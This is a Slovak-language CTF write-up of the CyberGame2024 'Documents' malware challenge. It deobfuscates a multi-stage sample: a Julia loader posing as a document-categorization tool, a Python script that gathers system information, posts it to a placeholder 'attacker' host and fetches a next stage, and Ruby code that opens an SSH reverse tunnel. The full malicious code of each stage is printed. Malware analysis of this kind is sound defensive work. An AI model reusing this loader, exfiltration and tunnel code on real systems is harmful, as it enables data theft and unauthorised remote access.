16. 6. 2024

CTF - CyberGame2024 - Documents

V sekcií "Malware" tohto ročníka súťaže CyberGame sa nachádzala téma "Documents".

Malvérová analýza - aby hráči získali vlajku, zisťujú, ako funguje škodlivý kód a hľadajú ďalšie spojitosti.

1.1 Categorization

Jeden z našich klientov zistil škodlivú aktivitu a podal podozrivý kód na analýzu. Tento kód, ktorý bol stiahnutý ako nástroj na kategorizáciu dokumentov v systéme.

Dostali ste za úlohu analyzovať tento súbor. Aké informácie z neho môžete zistiť?

Stiahol som si prílohu, súbor categorization.jl
import Pkg
Pkg.add("Nettle")
Pkg.add("HTTP")
using Sockets
using Nettle
using HTTP
encryption_key = hex2bytes("be59ee4cdd224bbc9b20d4f4cb958788a97595690c6338d0a736a3e287d64af5")
iv = hex2bytes("be59ee4cdd224bbc9b20d4f4cb958788")
cipherbytes = hex2bytes("5ea0928814f6a4aaad9aa4a8bd4c163f7d921146a65ff0653796860a0ab01de1c4a851c3a1361a98d71ba7da87e240b540a75e2986a60c9e88af8f3981a6a16179a7c440c1b44fe681c2667527bfefb8b86f840f68077d0158a379faff94b657e0f4d273e0fc3f9c668627e4203a50bf50b91de46cc872a169cd6cd24005afdc0cb3599584c621808c7d00211f49575cf9b20870b0578bcb6a7c2701ca9e6fef6baf07ed822e2cdde7774704e57fba30a2738a9e7679d171f26f115ce246c7e046e736cf21b91225c88ebfea5360e926f95b6c07172c861319ccbccf72a0e7835ff07e9fed0bf9cda538d60bc22391e615ace75c20923b75f5a546d488c9ad0b6e7386be372f526c71f51602dcd0bbfb05319a8f4a04584f7439ada6cbccb79ad51ee3df1e270c309ee96d83db7a91ffc6f524f04c68fa52d1829b44f6d3b9da003a52a3f2fb66d849c656265aa4f23ed6f6e99e8b8d8c41a0d4954cb1099c856d62679663f268ebd2c87bd2075097c91c435a775af079ef718083c9fa364614252f1baa2189899c94921be2e6c7222a52d8aafd13fbf460b8aec709c994f4f331388d1e0a12ee16399e7fe30ad45cdaf366baa641995b4a1b9d60791a493bafc5fc2c7ae7bf432c26d5169103adb4f407f1f8e2247692059b63415d8a0ace8dfc4a0b65424b329f153aa22bd18d754cd6d6d2997bd0365acaf468786154c7fa69772ceaad579e0afd53fd9ca74919b07357540921b5bd8b844ea5d543dee562c7a18ed2f599622d97b50eb8e3791f478288fcdd55a63b97027d3e95f60c5ad28661ee1cc755dfe7e33bac8c0ece22a52348eb8d3fae20de51933145cd8ea80ec2f457afbbcfb1726803a7603fbca1bb410c745bf8e8068cf6f8af01940c598106f2bb622189c8b3f4dbe37dfca8055a3489683bdf7c864a86f88fe432fe737eade87b394878c7e5be129efc2f634b789fb4854b1deaa7322c715d515d454d199f38582ae0e804c28a85786d3e5944ca0433d9b2731947914095a45940adb6f1b51a1e0c69205ff5cd290fc8b7415b7e6c8543f3648836f14f7ab6e5aeacd458f8fc8d3c6d3360149bead89dd414502ebb9dd4f2530d3c866e08fba31865d2538dce439a78d964cee4c35df13a222e88cdee5569b7a329bb21d97e5249b842ec7a83768037aadca5b571bb9fc1114937473db557a83df6ca5ff6ed7ebf8af274b96ffa2bc2a79d95f512d824f1ccb809a5c5cba2085c6a62a847ca989ee9544ac8d961c0acd9cc28d3d4b67d956fd121533cc4b8275297aa1dc63197c420f09950ae7a56eb0967634018ce9f439ff99b02b961afe2298a801ddce3b8ce7db862d0c623302b690c86cfac74e1e2d4f523da8ebf816901d74222f4fe1696ae7abeed2661a4db1fd903e3780e1e0503b18a")
decipherbytes = String(decrypt("AES256", :CBC, iv, encryption_key, cipherbytes))
include_string(Main, decipherbytes)

Ako vidieť, obsahuje 3 binárne reťazce zakódované pre čitateľnosť v HEX sústave a príkaz pre dešifrovanie najdlhšieho z nich cez algoritmus AES256. Pre dešifrovanie je potrebný kľúč {encryption key} a inicializačný vektor {iv} zabezpečujúci jedinečnosť, všetko teda máme.
Dešifrovaný reťazec príkazom include_string pribalí a teda pravdepodobne spustí.

Po zadaní reťazcov do CyberChef máme výstup v tvare kódu, hneď na začiatku je vlajka.
flag = "SK-CERT{3ncryp73d_jul14}"

response = HTTP.get("https://api.ipify.org/")
dat = String(response.body)
if occursin("198.18.2.2", dat)
	s = UInt8[
	    0x97, 0x8c, 0x8d, 0x8e, 0xc9, 0xcb, 0xca, 0x93, 
        ...


1.2 Payload

Zdá sa, že v súbore bola zašifrovaná funkcia. Teraz je naším cieľom pochopiť, čo táto funkcia zahŕňa.
 
Pokračujeme z minulého výstupu, kód podľa hľadania funkcií bude v jazyku "Julia". Na tento jazyk som našiel online spúšťač. Z kódu som vybral časť ktorá v cykle dešifruje pole znakov, pridal príkaz výpisu a spustil online na webe.
	s = UInt8[
	    0x97, 0x8c, 0x8d, 0x8e, 0xc9, 0xcb, 0xca, 0x93, 
	    0x89, 0x94, 0xd2, 0xcc, 0x88, 0x9f, 0xc2, 0x94, 
	    0xb9, 0xbb, 0xa7, 0xba, 0xe2, 0xe0, 0x8e, 0xdb, 
	    0x91, 0xd8, 0x92, 0xdd, 0x8d, 0xdd, 0x87, 0x84, 
	    0xae, 0x7c, 0x77, 0xaa, 0xa6, 0xbf, 0xae, 0xae, 
	    0xc2, 0xa8, 0xc2, 0xad, 0xa8, 0xa7, 0xbb, 0xa1, 
	    0x5d, 0x59, 0xbf, 0xc4, 0xc6, 0xc2, 0xee, 0x9d, 
	    0x9c, 0xf9, 0x92, 0x93, 0x99, 0x98, 0xbe, 0xf7, 
	    0x0c, 0x5b, 0x11, 0x54, 0x57, 0x5b, 0x58, 0x0e, 
	    0x4b, 0x57, 0x5f, 0x07, 0x47, 0x07, 0x50, 0xb2
	]

	for m in 0:(length(s) - 1)
	    c = s[m + 1] 
	    c += m % UInt8
	    c = ~c
	    c ⊻= m % UInt8
	    c += m % UInt8
	    s[m + 1] = c
	    print(Char(c))
	end
Vrátil mi linku a vlajku:
    http://int3.sk/b63f414c1f0c7f5bb1df45c34e0c733f/runner#SK-CERT{53c0nd_m4l_f1l3}


1.3 Information

Stiahnutie ďalšieho súboru? Poďme ho preskúmať a zistiť jeho účel.

Stiahnem python skript runner z linky na konci predchádzajúcej úlohy.
_IlIIIlIIIlIlIIllI='utf-8'
import os,socket,subprocess,base64,requests
def IllIIlIIllIlIlIll():return socket.gethostname()
def IIlIllIlllIIIIIlI():
    with open('/proc/cpuinfo')as A:B=A.read()
    return B
def IllIlIIllIIlllIll():
    with open('/proc/meminfo')as A:B=A.read()
    return B
def IlIllIIIIIllIIlll():A=subproce...
Je tu vidieť jednoduchú obfuskáciu názvov premenných, nahradil som ich pre prehľadnosť svojimi popismi.
_CODING='utf-8'
import os,socket,subprocess,base64,requests
def MYHOST():return socket.gethostname()
def CPUNFO():
    with open('/proc/cpuinfo')as A:B=A.read()
    return B
def MEMNFO():
    with open('/proc/meminfo')as A:B=A.read()
    return B
def DFH():A=subprocess.run(['df','-h'],stdout=subprocess.PIPE).stdout.decode(_CODING);return A
def SMBC():
    try:A=subprocess.run(['smbclient','-L','localhost'],stdout=subprocess.PIPE).stdout.decode(_CODING);return A
    except:return''
def IFCONF():A=subprocess.run(['ifconfig'],stdout=subprocess.PIPE).stdout.decode(_CODING);return A
def FTPD():
    D=True;I=['.doc','.docx','.txt'];G='/etc/vsftpd.conf'
    try:
        def xx():
            E={'hostname':MYHOST(),'cpu_info':CPUNFO(),'memory_info':MEMNFO(),'disk_info':DFH(),'shared_folders':SMBC(),'network_info':IFCONF()};A='-8algDUBYg3_3qiLbEM3S-fDtYGgclI9H__L-6RdGBc2wOWr2ncYfQXsma_TMU13Ef8=';F=5133;B=bytearray();C=bytearray()
            for D in range(len(A)):B.append((F+D)*31%256)
            G=base64.urlsafe_b64decode(A)
            for(H,I)in zip(G,B):C.append(H^I)
            J=bytes(C).decode(_CODING);print(J,data=E)
        xx()
        if os.path.isfile(G):
            with open(G,'r')as C:
                for E in C:
                    if'local_root'in E and not E.startswith('#'):
                        J=E.split('=')[1].strip()
                        for(O,P,K)in os.walk(J):
                            for C in K:
                                if any(C.endswith(A)for A in I):
                                    B=bytearray([169,89,90,75,101,187,188,180,185,97,79,189,80,178,196,144,97,86,163,108,97,110,155,100,169,98,159,112,173,122,159,160,109,186,179,124,129,170,107,128,197,114,175,128,113,114,191,229,201,206,122,236,233,161,211,119,190,254,95,249,65,90,255,24,164,242,135,171,153,58,163,156,161,222,143,64,229,150,162,0,9,154,171,236,208,95])
                                    for F in range(len(B)):A=B[F];A=A-F&255;A^=73;A=(A>>2|A<<6)&255;A=A-208&255;B[F]=A
                                    L='deploye';H=print(bytes(B).decode('utf-8',errors='replace')[:56],stream=D)
                                    if H.status_code==200:
                                        with open(L,'wb')as M:
                                            for N in H.iter_content(chunk_size=128):M.write(N)
                                break
    except:pass
if __name__=='__main__':FTPD()
Ako vidieť po pár krátkych funkciách zbierajúcich informácie o lokálnom PC (cpu, pamäť, sieť, ..) tu máme hlavnú funkcu (nazval som ju FTPD podľa prvého podozrivého reťazca).

Vo funkcii FTPD je ako prvá definovaná funkcia xx(), ktorá zjavne niečo vypíše. Vyberiem ju teda zvlášť do python3 skriptu a spustím
import base64
A='-8algDUBYg3_3qiLbEM3S-fDtYGgclI9H__L-6RdGBc2wOWr2ncYfQXsma_TMU13Ef8='
F=5133;B=bytearray();C=bytearray()
for D in range(len(A)):B.append((F+D)*31%256)
G=base64.urlsafe_b64decode(A)
for(H,I)in zip(G,B):C.append(H^I)
J=bytes(C).decode('utf-8');print(J)
Vrátil mi vymyslenú linku a funkčnú vlajku:
    http://attacker/data_loader#SK-CERT{5y51nf0g47h3r}


1.4 Functionality

Zhromažďovanie informácií o systéme? Aké ďalšie činnosti tento skript vykonáva?

Teraz som sa zaoberal ďalšou podozrivou časťou kódu v skripte runner - dekódovanie (deobfuskácia) poľa číslic
B=bytearray([169,89,90,75,101,187,188,180,185,97,79,189,80,178,196,144,97,86,163,108,97,110,155,100,169,98,159,112,173,122,159,160,109,186,179,124,129,170,107,128,197,114,175,128,113,114,191,229,201,206,122,236,233,161,211,119,190,254,95,249,65,90,255,24,164,242,135,171,153,58,163,156,161,222,143,64,229,150,162,0,9,154,171,236,208,95])
for F in range(len(B)):A=B[F];A=A-F&255;A^=73;A=(A>>2|A<<6)&255;A=A-208&255;B[F]=A
print(bytes(B).decode('utf-8'))
#H=print(bytes(B).decode('utf-8',errors='replace')[:56],stream=D)
Vytiahol som blok do python3 skriptu a upravil výpis, ktorý šikovne orezal výstup na 56 znakov a ukryl tak vlajku:
http://int3.sk/b63f414c1f0c7f5bb1df45c34e0c733f/deployer#SK-CERT{n3x7_574g3_d0wnl04d}


1.5 Last stage

Zdá sa, že sme sa dostali do poslednej fázy škodlivého softvéru. Naším ďalším krokom je určiť jeho zamýšľaný účel.

Tento stiahnutý kód súboru deployer je opäť mierne zamaskovaný
eval [114,101,113,117,105,114,101].map(&:chr).join + " '" + [115,111,99,107,101,116].map(&:chr).join + "'"
eval [114,101,113,117,105,114,101].map(&:chr).join + " '" + [100,105,103,101,115,116].map(&:chr).join + "'"
umygux = "vSv_dezmjFkWwVFN,vSv_enzmjFkWwVFN,sEYMbumygux"
sEYMbumygux = ->(umygux, length) { (Digest::SHA256.hexdigest(umygux) * (length / 64.0).ceil)[0...length] }
vSv_enzmjFkWwVFN = ->(w5ZZYKw, umygux) { umygux = sEYMbumygux.call(umygux, w5ZZYKw.length); w5ZZYKw.bytes.map.with_index { |b, i| (b ^ umygux[i].ord).chr }.join.unpack1('H*') }
vSv_dezmjFkWwVFN = ->(enzmjFkWwVFNed_w5ZZYKw, umygux) { enzmjFkWwVFNed_w5ZZYKw = [enzmjFkWwVFNed_w5ZZYKw].pack('H*'); umygux = sEYMbumygux.call(umygux, enzmjFkWwVFNed_w5ZZYKw.length); enzmjFkWwVFNed_w5ZZYKw.bytes.map.with_index { |b, i| (b ^ umygux[i].ord).chr }.join }
if (begin; TCPSocket.new('127.0.0.1', 21).close; true; rescue; false; end) then system(vSv_dezmjFkWwVFN.call("10160c4358431615184943317d19207666601f411400183c46", umygux) + vSv_dezmjFkWwVFN.call("501357410c033a5302491e42", umygux) + vSv_dezmjFkWwVFN.call("10160c1314624504060a5458", umygux) + vSv_dezmjFkWwVFN.call("0f0a075255580a464103515316", umygux) + vSv_dezmjFkWwVFN.call("021110525a5b0047754b020c52", umygux)) end
Premenné som prepísal, eval hodnoty dekódoval do čitateľnejšieho kódu, aby som pochopil čo robí
# require 'socket'
# require 'digest'

u = "vSv_dezmjFkWwVFN,vSv_enzmjFkWwVFN,sEYMbumygux"
u = "pac,unp,kry"

kry = ->(u, length) { (Digest::SHA256.hexdigest(u) * (length / 64.0).ceil)[0...length] }
unp = ->(j, u) { u = kry.call(u, j.length); j.bytes.map.with_index { |b, i| (b ^ u[i].ord).chr }.join.unpack1('H*') }
pac = ->(k, u) { k = [k].pack('H*'); u = kry.call(u, k.length); k.bytes.map.with_index { |b, i| (b ^ u[i].ord).chr }.join }

if (begin; TCPSocket.new('127.0.0.1', 21).close; true; rescue; false; end) then system(pac.call("10160c4358431615184943317d19207666601f411400183c46", u) + pac.call("501357410c033a5302491e42", u) + pac.call("10160c1314624504060a5458", u) + pac.call("0f0a075255580a464103515316", u) + pac.call("021110525a5b0047754b020c52", u)) end
Podľa kódu som zistil, že nejde o jazyk Python, ale Ruby. Ako vidieť, sú tu definované 3 funkcie a sú tu rôzne zložité volania s parametrami.

Zo zložitého matematického kódu je ale nakoniec jasné, že funkcie volá "system" funkcia, ktorá výstup vykoná a my ho chceme len vypísať.
Upravil som teda posledný riadok - vyhodil podmienku spustenia a funkciu system nahradil print a spustil skript cez ruby.
eval [114,101,113,117,105,114,101].map(&:chr).join + " '" + [115,111,99,107,101,116].map(&:chr).join + "'"
eval [114,101,113,117,105,114,101].map(&:chr).join + " '" + [100,105,103,101,115,116].map(&:chr).join + "'"
umygux = "vSv_dezmjFkWwVFN,vSv_enzmjFkWwVFN,sEYMbumygux"
sEYMbumygux = ->(umygux, length) { (Digest::SHA256.hexdigest(umygux) * (length / 64.0).ceil)[0...length] }
vSv_enzmjFkWwVFN = ->(w5ZZYKw, umygux) { umygux = sEYMbumygux.call(umygux, w5ZZYKw.length); w5ZZYKw.bytes.map.with_index { |b, i| (b ^ umygux[i].ord).chr }.join.unpack1('H*') }
vSv_dezmjFkWwVFN = ->(enzmjFkWwVFNed_w5ZZYKw, umygux) { enzmjFkWwVFNed_w5ZZYKw = [enzmjFkWwVFNed_w5ZZYKw].pack('H*'); umygux = sEYMbumygux.call(umygux, enzmjFkWwVFNed_w5ZZYKw.length); enzmjFkWwVFNed_w5ZZYKw.bytes.map.with_index { |b, i| (b ^ umygux[i].ord).chr }.join }
print(vSv_dezmjFkWwVFN.call("10160c4358431615184943317d19207666601f411400183c46", umygux) + vSv_dezmjFkWwVFN.call("501357410c033a5302491e42", umygux) + vSv_dezmjFkWwVFN.call("10160c1314624504060a5458", umygux) + vSv_dezmjFkWwVFN.call("0f0a075255580a464103515316", umygux) + vSv_dezmjFkWwVFN.call("021110525a5b0047754b020c52", umygux))
Skript vypísal:
    sshpass -p SK-CERT{ruby_r3v3r53_f7p} ssh -R 1337:localhost:2


* AES-256 je bloková symetrická šifra vybraná a schválená ako štandard (adv.encrypt.standard) s dĺžkou kľúča 256bit (sú aj 128 a 192bit)
* Ruby je vysokoúrovňový interpretovaný jazyk s univerzálnym použitím, kde všetko aj jednoduché premenné sú objekty
* eval - príkaz ktorý vykoná príkaz definovaný v premennej (reťazci)

Žiadne komentáre:

Zverejnenie komentára